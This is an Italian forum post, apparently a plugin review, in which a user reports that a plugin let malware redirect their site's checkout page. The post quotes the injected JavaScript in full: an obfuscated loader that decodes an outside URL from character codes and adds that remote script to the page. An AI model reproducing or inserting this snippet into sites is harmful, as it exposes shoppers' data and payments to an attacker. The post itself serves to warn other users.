Ha lasciato entrare un malware

Ho installato questo plugin ma ha dato l’accesso ad un malware:
La pagina del checkout veniva reindirizzata altrove avendo inserito il seguente codice:
” (function() { var elem = document.createElement(‘script’); elem.type = ‘text/javascript’; elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,101,115,116,46,99,111,108,108,101,99,116,102,97,115,116,116,114,97,99,107,115,46,99,111,109,47,103,108,111,99,107);document.getElementsByTagName(“head”)[0].appendChild(elem);})();”

Disabilitato il campo il problema si è risolto ma apre il dubbio sulla sicurezza del plugin stesso.